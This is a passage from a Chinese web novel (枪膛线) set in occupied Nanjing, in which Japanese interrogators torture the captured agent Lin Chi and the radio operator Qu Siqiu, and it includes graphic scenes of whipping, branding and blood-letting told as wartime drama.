渡边从未见过林赤这样的神情,对方的目光冰冷而凶狠,像是锋利的刀刃一般要将自己化为齑粉。 渡边再次抬起的手竟有了些许迟疑,扬在空中不知何去何从,就在此时,她的脑中迅速闪过一个念头,“你还能把我吃了?”紧接着,又一个念头闪现:“你居然敢仇视我,居然这么嚣张,我就不信征服不了你!” 想到这儿渡边更兴奋了,她空中的左手继续积蓄力量,第二记耳光接踵而至……接着雨点般的耳光密集地落在了林赤的左右脸颊上。 和渡边先行来到老虎桥监狱的李泉,此时正站在人群中,看着眼前发生的一切,心中莫名激动,总想上前对林赤说点什么,脚步才挪动了几步,回想起上次自己的遭遇,忽然想起林赤是一个诡计多端的狡诈之徒,便又立即收住脚步,心想还是千万别引火烧身!无奈之下,他只得用腹语对林赤嘲笑道:“林赤,你不是认为被女人打脸是男人的奇耻大辱吗?哈哈,这真是报应!你居然也有今日!” 这一番腹语过后,李泉顿觉得神清气爽,对渡边也不再怨恨了,相反,还对她充满了好感。 这一轮耳光抡下来,渡边已大汗淋漓、气喘吁吁,她一手叉腰,伸出另一手用中指来戳林赤的额头,至此,她恨意依旧未消,咬牙切齿道:“怎么样,舒坦了吧?” 林赤嘴里的鲜血从嘴角蜿蜒而下,顺着下颚宛如断线的珍珠一样,砸在他的衣服上,转眼间,胸前的衣襟已被鲜血染红。 “总有一天,我会把你碎尸万段!”林赤极力让自己在曲思秋面前保持强大,也不想让她看到自己一不小心流露出的惧意,他知道,这个时候,刚刚经受过酷刑的曲思秋比他要无助一百倍,而他林赤作为她的一辈子的依靠,已经成为了她的精神支柱,他尽管不能让她免遭伤害,但必须给她带来足够的安全感。而这样的安全感必须建立在他对当下的刑罚的藐视基础之上。 林赤刻意让自己对这一切显得若无其事、显得风轻云淡。 他试图坐正身子。 他努力地抬起戴着手铐的双手,用手背擦去嘴角上的鲜血。 他目光四顾。 除了很多陌生的狱警外,他看到了老虎桥监狱那位佩戴上尉军衔的年轻的典狱长,他看到了老虎桥监狱的副典狱长陈炳松——一位长期穿着布鞋的中国人,他看到了人群中不敢正视自己的松机关行动处的队员李泉……最后,他的目光落在了曲思秋的脸上。 曲思秋已浑然忘却了身体的痛楚,正殷切地盯着自己看。 在她的眼里,已然泪光盈盈。 二人目光再次相遇,林赤对她微微一笑,算是对她正式打了招呼,曲思秋马上还以微笑,也算是对他的问候。 这是自那晚的风雪夜诀别后,二人的首次见面交流,尽管只是通过某种身体语言,但这已经足够了,在这之前,他们彼此思念、魂牵梦绕,无时无刻不在牵挂着对方,但他们双方都万万没有料到,他们的相见竟然是以这样的一种方式。 对于曲思秋而言,她根本没有奢望能够重新得见林赤,她不止一次以为,她或许一辈子都见不到他了,好在上天尤怜,终于让她得以见到他一面,故而,尽管身陷囹圄,尽管饱经折磨,她已经心满意足了。 这章没有结束,请点击下一页继续阅读!林赤很快把目光移向别处,落在了渡边身上。 渡边一直在回味林赤刚刚对她所说的话,这句话如此绝情,竟是要将她碎尸万段,让她倍感诧异,她骨子里对这位青年的中国男人充满了好感,甚至滋生出一份连她自己都觉得虚幻缥缈的情愫,这份情愫不同于以往所有的逢场作戏,真实而刻骨铭心,在萌生之初便一发不可收拾! 渡边也是一个女人,虽然心狠手辣,但这并不妨碍她憧憬美好情愫的执着之心,虽然在折磨起林赤的时候,她也毫不含糊,但她似乎并不认为是自己的错,她征服男人的天性由来已久,越是自己心仪的对象,越是要千方百计逼他就范,因而,她错误地以为,眼前的男人,其实更应该享受着她的几乎是畸形的爱意! 不但是林赤体会不到,想必天下绝大多数的男人都体会不到。 所以,当林赤这句绝情的话脱口而出后,渡边的内心一直是空荡荡的。刹那间,她如同汪洋大海中的一叶扁舟竟失去了航向。 黑木总以为一贯爱表现的渡边这次是真累了,上前把渡边替换了下来。 黑木向李泉招了招手,俏皮地说道:“李桑,和我一起审审林先生如何?” 李泉又感激又激动,风一般跑上前来。 黑木递给李泉一根皮鞭,说了一句让李泉非常开心的话:“要不,你来试试?” “属下乐意替将军分忧!” 李泉将皮鞭在空中猛然抖了一下,然后左手顺着皮鞭顶部下滑,一把拽住皮鞭的末端,气势凌人对林赤喝道:“林先生,对不住了!” 刚想挥鞭,李泉突然想起忘说了关键的一句话,忙补充道:“林先生,刚刚被渡边打脸感觉如何?” “你不是深有体会吗?” 林赤的话才说完,从李泉的眼里射出一道凶光。 李泉不愿多说废话,唯有实际行动方解心头之恨。 皮鞭的落点没有选择,劈头盖脸朝林赤的脑袋上、身体上招呼。 这条通体黝黑锃亮的皮鞭立即使得林赤皮开肉绽。 林赤额头上的青筋暴突,他紧咬牙关一声不哼。 俄顷之间,他的脸上和身上已血迹斑斑,大颗的汗珠如雨点般砸向地面。 李泉并没有停歇的意思。 黑木的脸上看不出一丝喜怒,但隐约透出的嘉许之色让李泉更加卖力。 一口气抽出四十多鞭,李泉整个人已经虚脱,弯着腰双手搭在腿上,大口地喘着粗气。 暴风骤雨的鞭刑过后,血水已迷蒙住了林赤的双眼,他极力瞪大眼睛,想看清眼前的一切,身体仿佛正在经受着万虫啃噬般的疼痛……尽管如此,他的大脑依旧清醒,他清楚知道,这个时候,自己不能倒下,不能昏厥,他不能独自丢下曲思秋一人应对敌人的刑讯。到目前为止,让林赤唯一欣慰的是这所有的皮肉之苦都是针对他一人的,曲思秋暂且不用受过,当然他也明白,这只是目前的境况,曲思秋迟早会遭受到肉体的折磨……林赤努力睁大眼睛,他想看一眼曲思秋。 朦朦胧胧中,曲思秋不知何时已低下脑袋,林赤听到了曲思秋绝望的呜咽。 林赤想大声咳嗽几声,向曲思秋表示自己无恙,但喉咙口似乎堵着什么,总也发不出声。林赤于是再次努力,终于伴随着一声咳嗽,一口鲜血喷了出来。 林赤生怕曲思秋看到这样的情形,连忙将脑袋别到一侧。 黑木对眼前发生的一切很满意,走近林赤问:“林先生,你还想保持沉默吗?” 林赤“呸”了一口,将嘴里的血腥气吐在黑木的身上。 “你这是找死吗?”李泉腾地站起来,好像林赤吐的不是别人,而是自己。 “你真的生无可恋吗?”黑木恼羞成怒,一边掏出手帕擦拭一边又对李泉使了个眼色。 短时间的休息后,李泉又恢复了勃勃生机,他的眼睛到处乱转,终于看到了铁炉中烧得红彤彤的烙铁。 李泉快步走上前去,一把抓住烙铁的手柄,从熊熊燃烧的铁炉中抽出烙铁。 烙铁在空气中发出“滋滋”声,在贴上林赤的胸脯之际,伴随着一股升腾而起的青烟,林赤的喉咙里发出一声痛苦的闷哼。 曲思秋大喊道:“你们住手!”她的声音中带着明显的哭腔。 黑木几步走到曲思秋面前,把手中的手帕塞到兜里,启发道:“曲小姐是不是有话想对我们说?” “你要让我说什么?”曲思秋歇斯底里喊道。 “就从你被捕那晚说起!” “我已经告诉过你们,我确实是一名地下党,我的任务都是那晚接我的同行者布置的,其它的一概不知!” “那晚驾车的同党叫什么名字?” “我不知道,我什么也不知道,我们有纪律,不可以互问姓名。” “他叫牛玉高……是鼓楼区公所的职员?” 曲思秋摇了摇头,“我不晓得。” “你还狡辩!”黑木忽然声色俱厉。 “我真的不知啊!”曲思秋坚决地摇头。 黑木回头看了一眼林赤,恫吓道:“你再不说,我们对你的男友将会采用更严酷的刑罚!” 林赤此时已痛得昏了过去,李泉端来一盆凉水,从林赤的头顶浇灌下来。 林赤浑身一颤,顿时清醒了。耳里听到曲思秋嘶哑着嗓子哭叫道:“求求你们,你们不要再折磨他了,他和我根本就不是一路人!” “哦?那你说说他是哪路人?”黑木饶有兴趣问道。 “我虽然是个共产党,可他只是一名普通的国军低级军官。” 听到这儿,林赤百感交集。 看来,曲思秋被捕,身份已被鬼子锁定,既然她不是以他女友的身份锒铛入狱,这就意味着在接下来的刑讯中,将会危机四伏!另一方面,林赤从她的话中听出,她即使已经成为敌人的阶下囚,还在千方百计替自己开脱! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第170章 血仍未冷 此时的黑木显得兴奋无比,成功似乎就在眼前,这么多天的辛劳眼看就要结成累累硕果。现在唯一需要他做的,就是再接再厉、一鼓作气。 黑木已走近曲思秋,双眼圆瞪,进一步恶狠狠地逼问道:“曲小姐,留给你的机会已经不多了,如果你再不如实招来,今天就是你和你的男友阴阳两隔的日子!” “他不是我的男友!”曲思秋决绝说道。 “都到什么时候了,你还在撒谎!”黑木露出了厌恶的表情。 “他真不是我的男友,我没有他这个男友!”曲思秋深吸一口气,“我不可能找一个国民党军官做我的男友,我们组织也决不允许!” “这么说,这位林先生的生死你可以不在乎?” “……是的,我根本不在乎,正如我的生死他也未必在乎一样!”曲思秋稍作迟疑,马上脱口说道。 “很好!”黑木双手从背后环抱至胸前,“那接下来就请曲小姐和我们一道观赏老虎桥监狱最严酷的刑罚!”说罢,黑木高声吩咐李泉道:“李桑,你带人把林犯倒挂起来!” 李泉精神大振,一把将林赤从椅子上推了下来。 林赤一个趔趄,直起腰时,身体已被两个粗壮的男人架起,抬到了铁架旁。 曲思秋的神情忽然焦虑起来,骤然提高声音道:“我所说的千真万确,他真不是我的男友,你们就是今天把他弄死了,也……也和我没有一丁点关系!我甚至不会为他流一滴眼泪!”曲思秋的眼睛一直注视在林赤那边,眼看李泉他们没有丝毫收手的意思,心中愈发绝望,忽然鬼使神差说道:“他的女友另有其人!” 黑木心中暗笑,未加理睬。 曲思秋把声音又提高了些许,继续说道:“他喜欢的可不是我,而是一个叫陶楚歌的姑娘!” 听到这个名字,黑木才算有了些兴趣,端详了她一眼,曲思秋和黑木的目光交汇,看到他的眼里掺杂着一丝疑虑,以为他对这个名字极其陌生,连忙补充道:“她是南京自救会陶会长的孙女……” 曲思秋一提到陶楚歌,黑木马上联想到在陶府见到陶楚歌时她所表现出的异常,心中便有了几分相信,但还是疑虑重重,回头便看了一眼林赤。 此时的林赤正被几个人用铁链系住脚踝,正要倒挂上铁架,李泉看到黑木似乎有话要问,就主动示意其他人暂且收手。 林赤从被推下刑椅后,已然明白等待他的又将是一轮严酷的折磨,虽然他不知道接下来的刑罚是什么,但只要曲思秋无恙,他并不在乎鬼子对自己要做什么,故而他的耳朵一直在倾听曲思秋的话语,当他听到曲思秋嘴里说出陶楚歌这个名字时,很是惊愕,可又不知她葫芦里卖的什么药,只能静观其变。 曲思秋看自己的这一番话吸引了黑木的注意力,也减缓了林赤受刑的时间,心中已经很满意,刹那间思如泉涌:“我承认,我刚认识这位林先生的时候,我是喜欢过他,不过,当前几天我和陶楚歌长谈过一次后,我才知道,他不是我的菜……”说到这儿,曲思秋想起那天傍晚陶楚歌敞开心扉对自己说出的一席话,不禁悲愤交加,现实和虚幻开始交织,竟然分不清这是她的权宜之计还是对这份情感的抱怨,“我确实天真地认为,我是这个世上最爱他的人,不过自那以后,我才知道我的这份感情相比陶楚歌而言真是小巫见大巫,我已想好决定退出了,所以即使今天这位林先生暴毙在监狱里,我想最伤心的人并不会是我……” 曲思秋一口气倒出心中的郁结,忽然间就风轻云淡起来,仿佛自己的这一席话已将林赤和自己的过去一刀两断,也就是在这片刻之间,她已打定主意,要与林赤分道扬镳,从此井水河水互不侵犯。 也就是这一席话,让她有所启发,她决心以铁石心肠来应对接下来所发生的的一切!否则,依她的能力是过不了这一关的。 林赤已有些糊涂了,他听到曲思秋煞有介事陈述了关乎陶楚歌的事情,以及自己的心灵独白后,已无法分清这是否是她的真心话,他甚至不能揣度陶楚歌是否真的对他心存情意,男女之事,不能说他麻木,起码他并不敏感。 如果黑木不是在开采锰矿这件事上有求于陶天阙,是根本不愿在刑讯的过程中,因这样一段狗血的男女情事被别人牵着鼻子走,然而,既然这件事上,把陶天阙的孙女牵扯进来,倒也是意外的收获,看女犯的神情,倒不像是刻意说谎,尤其在她说到气愤填膺之处,完全是真情流露,眉宇之间,还有一缕厌烦之色。 “曲小姐的意思,是有人夺你所爱喽?”黑木还是决定要厘清这件事情的原委。 “谈不上夺我所爱,只是我发觉,那位陶小姐更适合他!”曲思秋缓了缓又道:“难道你不觉得那位陶小姐和他门当户对、郎才女貌、天造地设?” 渡边的眼里露出鄙夷之色。 “好吧,我信你!”黑木冷笑一声,“既然如此,那接下来请曲小姐好好欣赏欣赏!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“好!”曲思秋从牙缝里蹦出一个字。 黑木大手一挥,李泉带人立即忙碌起来,刚才说了那么多,在李泉看来,尽是些废话,他早就不耐烦了,现在,刑讯终于得以向前推进,他激动难抑。 林赤很快被倒挂在铁架上。 林赤的身子在空中轻微荡漾,他尽管感到不适,但大脑没有歇息,一直在回味曲思秋刚才的那番话。 看来,曲思秋还是很机警的,只有和他林赤彻底断了这层关系,才不至于被鬼子掣肘,他林赤也可以稍稍从容一些了。 黑木先是站在曲思秋身旁,眼睛一直有意无意地偷偷注视着她的表情变化。 曲思秋的表情突然间就平静了下来,已没有了刚刚进来时的惊慌,双眸一眨不眨地盯着铁架上的林赤,完全一副置身度外的样子。 见林赤被在铁架上悬挂好后,黑木一个箭步走到桌前,端起桌上的咖啡杯,举杯刚要喝下杯中给他准备的特醇咖啡,发现咖啡已冷,于是三两步来到铁炉旁,将杯中的咖啡一股脑泼到火光熊熊的铁炉里。 “滋滋”声倏然响起,雾气立即袅袅升腾。 黑木用两只手指夹着咖啡杯,转身来到林赤的铁架旁,弯腰把咖啡杯搁在林赤的脑袋垂直处,然后对典狱长武内次郎使了个眼色。 武内次郎身后闪出一军医模样的日本人,肩上背着一具医疗箱。 只见他走近林赤,不慌不忙地从箱子里掏出一根绳子,把林赤的左手固定在铁架的底座上,然后再次开箱……众人屏住呼吸,又见他掏出一根极细的针头,针头的一端连接着一根橡皮管,他似乎在仔细寻找林赤的动脉血管,接着毫不迟疑地把针管刺进了林赤的血管。 他依旧不慌不忙,直到看到橡皮管中出现了林赤体内的血液,才把橡皮管的末端放在了咖啡杯的上方。 血流速度似乎太慢,他启动橡皮管上的阀门,让血液流得更快些,可不一会儿又觉得太快了,于是又减缓了它的流速,就这样血滴以他认为最合适的速度,从橡皮管的末端滴落向咖啡杯。 橡皮管的长度不足,末端离地上的咖啡杯尚还有一段距离,相对的高度使得血滴产生足够的冲量,砸向了杯子,竟然在鸦雀无声的审讯室里,迸发出扣人心弦的敲击声。 曲思秋的眼里终于有了一丝惊慌。 她的喉咙里,像是着了火一样,好几次她想开口讲话,竟发不出声来。 不一会儿功夫,血液已经溢满咖啡杯,鲜红的血从杯子边缘向四处溢出。 林赤一开始,还是没有明显感觉,可当杯中的血溢满的时候,他已开始头晕目眩。 林赤坚定地认为,这是他看到自己体内流出鲜血的缘故,于是赶紧闭上了双眼。 偌大的审讯室,没有一个人说话,就连对林赤恨意满满的李泉也噤若寒蝉,不自觉地将脑袋扭到一边。 在李泉的心里,忽然多了一份对日本人的恐惧。 曲思秋已经快撑不住了,她不敢多看,又不得不看,在她的眼里,已然没有一丝光彩。 她绝望地想,这个时候,如果能和林赤一道双双死去该是多么惬意的一件事啊! 她的牙齿紧咬着下嘴唇,已经深陷在嘴唇的肉里,从牙齿的边缘,殷红的血迹清晰可见。 黑木对自己这一套异想天开的刑罚手段非常自豪,他曾经反复询问过军医如此刑罚所带来的后果,军医只给了他一句话:“这是对肉体和心灵的双重折磨,一般人是扛不过去的!”现在,他所需要耐心等待的,就是击垮对方,直至对方彻底妥协! 黑木意外地发现,这样的刑罚不但对当事人是一种血淋淋的折磨,对曲思秋也有着毛骨悚然的威慑作用,因为他已发现,曲思秋不但脸色苍白,神色慌张,而且整个人已接近垮掉。 是的,曲思秋又何时见过这样的场景,她所谓的和林赤一刀两断的决心也仅仅是她一厢情愿罢了,除了心口撕裂般的疼痛,她的天地已暗无天日,鬼魅魍魉悉数登场,将她的灵魂正在千刀万剐! “求求你们,杀了我吧……”她的声音低如蚊蝇,尽管她用足了所有的气力。 没有人听她说话,也没有人看她一眼。 曲思秋认为自己的声音太小了,又拼尽全力喊道:“你们住手……再这样下去……他会死的……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第171章 徘徊在死亡边缘 这个时候,老虎桥监狱第一审讯室里灯火通明。 数盏千瓦以上的白炽灯把整个房间照射得如同白昼。 这是一间老虎桥监狱最大、最奢华的审讯室,也是当下南京城刑讯设施最为齐全的监狱。除了刑讯区和审讯区外,还保留了一小块的休息区,在休息区里,摆放着一张行军床,以供审讯者劳累的时候休息之用,而在审讯区,桌椅齐备,桌子怎么看都平淡无奇,倒是桌后的那张椅子,懂行的人稍加分辨便可得知这是一张海南黄花梨的雕花椅子,椅身宽大气派,从椅背上雕花的风格可知,这张椅子应该大有来头,颇有晚清遗风。 接近一百平方的审讯室并无空荡之感。 椅子上垫着一块海绵软垫,有殷勤之人费了吃奶的力气把它搬到了黑木的跟前。 黑木确实有些累了,从一大早起床,先是带刘云雄去汤山司令部向松井将军汇报,完事后马不停蹄赶回,连口水都没喝,又马上着手提审林曲二犯,参与到了如火如荼的审讯之中。 黑木心满意足地在椅子上坐下。 此时此刻,审讯室里,静谧无声。 林赤的身下,那杯咖啡杯里的血早已注满,多余的血液从杯沿渗出淌到了水泥地上,以杯身为中心,向四面扩散,形成了一个妖艳的圆形。 血滴还在不断向杯子中滴落,只是速度明显减缓。 林赤已昏昏欲睡,他感到自己的意识开始游荡。 …… 似乎没有人在乎曲思秋说了什么。 除了黑木不经意地朝曲思秋望了一眼,所有的人依旧都把目光投射在林赤的身上。 见无人理会自己,曲思秋心急如焚,眼看倒挂在铁架上的林赤身体晃荡的幅度越来越小,她开始拼命跺脚,她意图用刺耳的脚链摩擦地面发出的“哐当”声来提醒林赤,不能让他就这样睡去。 曲思秋本身就是一名医生,从林赤体内流出的血量,她知道这个时候,林赤如果一旦心灰意冷,则很快会昏睡过去。 或许这一睡,他再也不会醒来。 狱警极力地按住曲思秋,不让她挣扎,可曲思秋哪肯轻易放弃。所以她必须制造各种声音来唤起林赤的注意。 “哈哈……”曲思秋忽然莫名其妙地笑了起来。 见黑木诧异地看了她一眼,曲思秋大声笑道:“我看你们小鬼子个个蠢得像猪一样,他要是死了,你们想知道的秘密向谁问去?” 黑木纹丝不动。 “我也是医生,这样的失血量就是一个正常人都受不了,何况他的身体本来就已经很羸弱!” 黑木焦躁地挪了挪身子,终于忍不住了,斥声道:“你还能说点我感兴趣的?” 曲思秋眼里好像笑出了泪花,“我这儿没有你感兴趣的,他或许有……不,他肯定有,你要不去问他啊!” “看来,你是铁心要看着你的男友下地狱了!” “下地狱的是你们,你们每个人都不得好死!” 黑木愈加烦躁,无心和她斗嘴,心情此时已十分沮丧,一方面他确实不想让林赤出现意外,他也清楚知道,或许林赤正徘徊在死亡边缘,如果他死了,的确前期所有的辛劳会付诸东流,到时候真是竹篮打水一场空!可大言既然放出,已无退路,除非有人给他一个台阶;此外,黑木执着认为,这样的刑罚一旦实施,就眼前的这个年轻女人一定会心慌失措,说不定马上说出心中的秘密……可现在看来,这个女人倒也不是省油的灯,只是和他不着调地耍贫嘴,涉及到核心的东西一概不说……黑木想到这儿,突然一激灵。 或许,他们真的不是真爱! 起码,这女人对他不是真爱! 他的脑海中不由得闪出陶楚歌的模样。 正当黑木意乱神迷之际,身后的渡边快速从人群中闪出,三两步跑到铁架前,一脚把地上的咖啡杯踢飞,马上伸手去探林赤的鼻息,俄顷之间,对站在林赤身旁的李泉喝道:“把他放下来!” 李泉有些迟疑,用征询的目光看了一眼远处的黑木将军。 渡边不再犹豫,挥手就是一记耳光,低声呵斥道:“我的话你没听到吗?” “是!”李泉立即手忙脚乱地开始解开林赤。 对渡边这样突兀的举止,黑木尽管心中不快,但好在她做了一件自己想做的事,也变相给了自己提供了一个下坡的台阶,也就没有表现异议。 渡边乘李泉解开林赤之际,返身快步跑到黑木身前。 “将军……” 黑木佯装不乐,不耐烦地打断了渡边,“渡边少佐,你这是怎么啦?” “将军……”渡边蓦然对自己唐突的举动有些后悔,但说辞早就想好,所以并不慌乱,便有条不紊对黑木说道:“将军,他好像快不行了!” 黑木未加表示,渡边继续道:“依我看我们的审讯方向出现了问题……” “哦?”黑木皱了皱眉。 “林犯本身就是一个极其顽固不化之人,对他用刑收效甚微,再说目前看来,他似乎不是曲犯的真爱,否则……一般人早就招了!”渡边回头看了曲思秋一眼,又说道:“但从林犯的态度不难发现,他好像很在乎她,假如……” 本小章还未完,请点击下一页继续阅读后面精彩内容!“你是说我们需要更换用刑对象?” “是的,将军阁下!” “你不是对她用过刑吗?她不也是冥顽不化?” “那不一样!”渡边向黑木靠近了一些,声音明显低了下来,“对我们而言,林犯所掌握的秘密更有价值,而曲犯只是一名发报员,她能知道些什么?即使知道一些,我看也尽是些毫无价值的情报!所以,我们必须设法尽快撬开林犯的嘴!” 黑木不置可否,从椅子上站起,向林赤走来。 林赤已被人从刑架处抬到刑椅上坐下。 他奄奄一息,脑袋无力地垂在胸前。 和黑木一道前来的还有那名日军少尉军医。 军医低头翻开林赤的眼皮,对黑木如释重负说道:“将军,他生命无忧!” 黑木点了点头,“赶紧想办法把他弄醒!” 说完黑木又回到椅子旁,忽然想起一事,在渡边的耳边轻声道:“对了,陶天阙的孙女不是说过想过来看看林犯的吗?你去给陶天阙打个电话,让他半小时内赶到老虎桥监狱,记住一定要吩咐他带着他的孙女一同前往!” 渡边脸上露出狐疑之色:“将军,有这个必要吗?” “有,大有必要!” 渡边领命匆匆走出房间,黑木会心一笑。 在黑木的心中,忽然就有了一个奇思妙想。 …… 当林赤被倒吊在刑架上的时候,他心中最迫切的意念就是不可以睡去,他要时刻保持清醒。 首当其冲的念头是他不能就这样倒下,他还有一件未竟的任务,这件任务是他毕生的心血,也是他试图打入敌人心脏的重大一役! 第二个念头,就是他深深挂念曲思秋,他不能把她的安危置身度外,不可以留下她一人独自应对这充满凶险的场面,他必须在他的能力范围内,给予曲思秋最大的帮助。 故而,当他的意识开始混乱的时候,他马上强迫自己转移注意力,不再去想眼前发生的一切,这个时候,在林赤的脑中,一幕幕美好的往昔开始浮现,他想起如诗如歌的童年,想起冬季门前屋后的积雪,想起了孩提时的玩伴,想起春天来临时屋檐下的燕子窝,想起了仲夏时节江湾满眼金黄的油菜花,想起了秋风起,空中翩飞的雁群以及河堤上一眼望不到边的芦苇花……思虑在那一年父母被日军的飞机炸死戛然而止,于是他又想起留学法国炮兵大学数年的游学生涯,想起恩重如山的大哥朱赤,想起中山门外对日军残酷而血腥的阻击战,想起了在南京中央军官学校的教官、如今代号“蜂鸟”的何尚武…… 就这样,他在现实与虚幻中沉浮,直到听到一个熟稔的声音在轻轻抽泣。 他缓缓睁开了眼睛。 林赤的耳里听到了一个陌生的声音用日语激动说道:“将军,他醒了!” 睁开眼的林赤看到,这句话是身旁一个日军医模样的人发出的。 尽管日语知识有限,但通过小野二郎和陶楚歌细心的传教,这般简单的日语对话他还是能够听懂的。 当林赤理解出了对方的说话内容,他便知道自己还不至于有性命之虞。 他开始急切地寻找曲思秋所在的方位,潜意识里,那让人心碎的哭泣声应该是她发出的。 此刻,曲思秋正被两名狱警架着,在他的不远处站立。 她明显有些气力不济,整个身子近乎于瘫在门后的那堵墙壁上。 曲思秋又何尝不挂念林赤,当她看到林赤从铁架上被抬下,直到被人摆放在刑椅上时,都没有任何举动,总以为他和她已天人永隔,一时间竟不能自已,失声抽泣起来。 而就在她悲伤欲绝之际,鬼子军医的一席话让她重燃希望,她果然看到林赤已经悠悠醒来。 不但如此,她还可以肯定,林赤的目光正是在寻觅自己。 她立即收声,眼里充满着柔意,开始和林赤的目光再次交汇。 二人的目光很快纠缠在一起,似乎再也不愿分开。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第172章 信仰与信念 渡边很快又走进了审讯室。 给陶天阙打完电话回来的路上,渡边已没有了刚刚的激动。房间内外的温差很大,经室外逼人的寒气侵袭后,渡边似乎一下子清醒过来,清醒过来的她开始陷入了深深地懊悔。 直到现在,她还对自己那唐突的一脚匪夷所思,自己是怎么啦?为什么要那样做?难道真的对那个叫林赤的中国人心生钦佩?可仅仅是钦佩吗?难道是好感?可又仅仅是好感吗?那个年轻人到底有什么魅力让自己众目睽睽之下产生了如此夸张的举止? 好在她陈述的理由并不牵强,甚至还很充分。 渡边无暇思索太多,在推门而入的那一刻,她莫名其妙地摇了摇头。 林赤已醒,并被移到了刑椅上。 渡边的目光在房间里巡视一番,立即落在了林赤的身上。 这时她才知道自己如此牵挂他的生死。 一个可怕的念头在脑海中闪现:难道自己喜欢上了这个中国人? 她马上否定了自己这荒唐的念头,一个声音在心底坚定地对她说:“不,绝不可能!他是一名敌国的特工,且处处和帝国作对,再说他何德何能?……我是帝国军人,怎么能被这样一种近乎畸形的情感俘虏?” 渡边倒吸了一口凉气,连忙整理心情,强迫自己不去胡思乱想。 她心中暗暗打定主意,要以决绝的态度应对接下来的审讯,不能让黑木心生疑窦。 渡边走近黑木。 黑木没有看她,却对她问道:“电话打通了吗?” “已经和陶天阙取得了联系,他答应即刻过来,不出意外的话他现在应已在赶来的路上。” “他会带他的孙女前来吗?” “我按您的要求跟他说了,他没有表现异议。” 黑木正在思索着什么,半晌后对渡边吩咐道:“既然渡边小姐有想法,接下来的审讯你来主持。” 渡边欣然领命,径直走向林赤。 此时的林赤十分虚弱,脸色苍白如纸,上衣上沾满血迹,整个人软软地靠在椅背上,微微地喘着气,显得有气无力的样子。 “林先生,你的气色看上去很糟糕啊!”渡边露出一副怜惜的样子。 见林赤没有回话,渡边再道:“现在,你还想把我碎尸万段吗?” 林赤瞟了她一眼。 “现在就你这副模样,就是把你的手铐和脚镣全解了,恐怕你也心有余而力不足!” 林赤终于开口说话:“既然渡边小姐这么自信不妨试试?”林赤一口气说完,言语中竟然没有迟滞之感,中气也很足,双目精光凛凛。 渡边用异样的目光看了林赤一眼,马上改口道:“我知道林先生的意志很坚强,或许我小看你了,像你这样的顽固之徒是万万不会轻易屈服的,你告诉我,这就是你们所谓的信仰吗?” 林赤露出不屑的神色。 “你能说说你的信仰是什么?效忠你的三民主义?” “不!”林赤断然说道,“我的信仰是把你们这帮小日本赶尽杀绝!” 渡边怒气渐盛,毫不犹豫地给了他一记耳光。 这记耳光只用了她八分的力气,渡边倍感痛快淋漓。 只有自己亲自动手,渡边才会觉得心安理得。 经过这短暂的热身后,渡边立即兴奋起来,她脱去外衣,对身旁的李泉等一众人命令道:“把犯人曲思秋带上。” 曲思秋被人推搡而至,两名狱警分别架着她的胳膊,把她固定在林赤身旁的刑椅上。 至此,二人才得以近距离相见。 林赤的目光再也不想从她身上移开。 数天不见,曲思秋显得消瘦,前一阶段的刑罚让她身心饱受摧残,身上到处血迹斑斑,除了这之外,胸口上的衬衫上,一大块焦黄的烙铁印历历在目,隐约可见里面迷糊的血肉,看得出,她已经受过非人的折磨。 林赤心疼得近乎窒息。 “思秋,你受苦了……”林赤的声音有些颤抖。 这样的表白一下子让曲思秋想嚎啕大哭,自从被捕入狱后,她一直生活在战战兢兢的恐惧中,如此结果她也曾理性地预测过,也深知前路凶险叵测,但当她在遭受到渡边第一轮残酷的肉体折磨时,她才蓦然发现,她的预期还是太过乐观,除了身体创伤所带来的剧烈疼痛让她几乎无法忍受外,她一直被一种无助的、惊惧的气氛包裹,让她欲生不得、欲死不能!她竟然找不到一丁点应对敌人的经验! 在她心底也曾动摇过,最痛苦的时候,她甚至有过放弃的念头,但每每这个念头出现,原金陵图书馆馆长池碧疆老师和自己第一次的推心置腹的谈话便浮现在自己的脑海。 “我们共产党人是有信仰的,这个信仰便是拯救苦难的人民大众于水深火热,这也是我们党区别于其它任何一个政党的立党之本,谁阻挠我们达成目标,谁就是我们的敌人,我们不但要和他们决裂,还要和他们做彻底地、坚决地斗争!和敌人的斗争是残酷的,甚至是需要以付出生命为代价,但只要我们的信仰不动摇、意志不动摇,不屈服于精神和肉体的折磨,那共产主义的春天就一定会来到!这需要我们万万千千共产党人的共同努力!也需要从你我做起!” 本小章还未完,请点击下一页继续阅读后面精彩内容!曲思秋马上想起了在党旗下的宣誓。 一个强大的信念马上油然而生:我必须咬紧牙关、坚持到底! 接着,让曲思秋更加坚定信心的,便是同在狱中的林赤,每当这个时候,她总是不自觉地想起自己的恋人,尽管和他不处于同一个阵营,但在曲思秋的认知中,林赤的党是没有什么信仰的,或者说他的信仰是不值得一提的,既然他都可以坚持下来,那么她作为共产党人,又岂能输给他? 除此之外,还有另外一个信念支撑着她,那就是一定要见到林赤。就是这浓烈的思念之情陪伴着她挺过艰难的关口。 纵有万般委屈,也不能在敌人的面前表露出来。 曲思秋马上显现出一副毅然决然的神色,沙哑着喉咙回答道:“林大哥,我很好!” 掩饰不掉的,是她眼眶中的晶莹泪光。 林赤还想继续发问,渡边马上横亘在二人中间,露出厌烦之色,面对着林赤说道:“林先生,你觉得她还好吗?” 林赤不愿看她,闭上了眼睛。 渡边无法忍受对方的傲慢,伸手托起林赤的下巴,把他的脑袋用力向上抬了抬,林赤再次睁开眼睛,却是在怒视她,渡边用另一只手掐住他的腮帮,并使劲揉捏了几下,咬牙说道:“你总是这么自信,自信得让我讨厌!不过在我看来,在你坚强的外表后面,却不堪一击!”说着,渡边忽然松开双手,以一种轻描淡写的口气又说道:“林先生,我会有办法让你开口的!” 一言甫毕,渡边转身走到曲思秋身旁,突然一把揪住曲思秋的头发,做出欲发力的模样,眼睛紧紧盯着林赤,完全是在赤裸裸的挑衅。 “林先生,别怪我没有提醒你,我会让你亲眼看看你的固执所带来的后果!假如让她来承担,你会心疼吗?”说着开始扯拽曲思秋的头发。 曲思秋没料到渡边会抓自己的头发,并且在逐渐用力,头皮开始撕裂般疼痛,身子也就不自觉地跟着她的手势上扬,无奈身体已被固定,只能咬牙忍受剧痛。 刹那间林赤狂叫起来:“渡边你给我放手!” 渡边更加用力,曲思秋疼得脸开始扭曲。 “你求我呀!快点求我呀!” “你有种冲我来!”林赤哀求道。 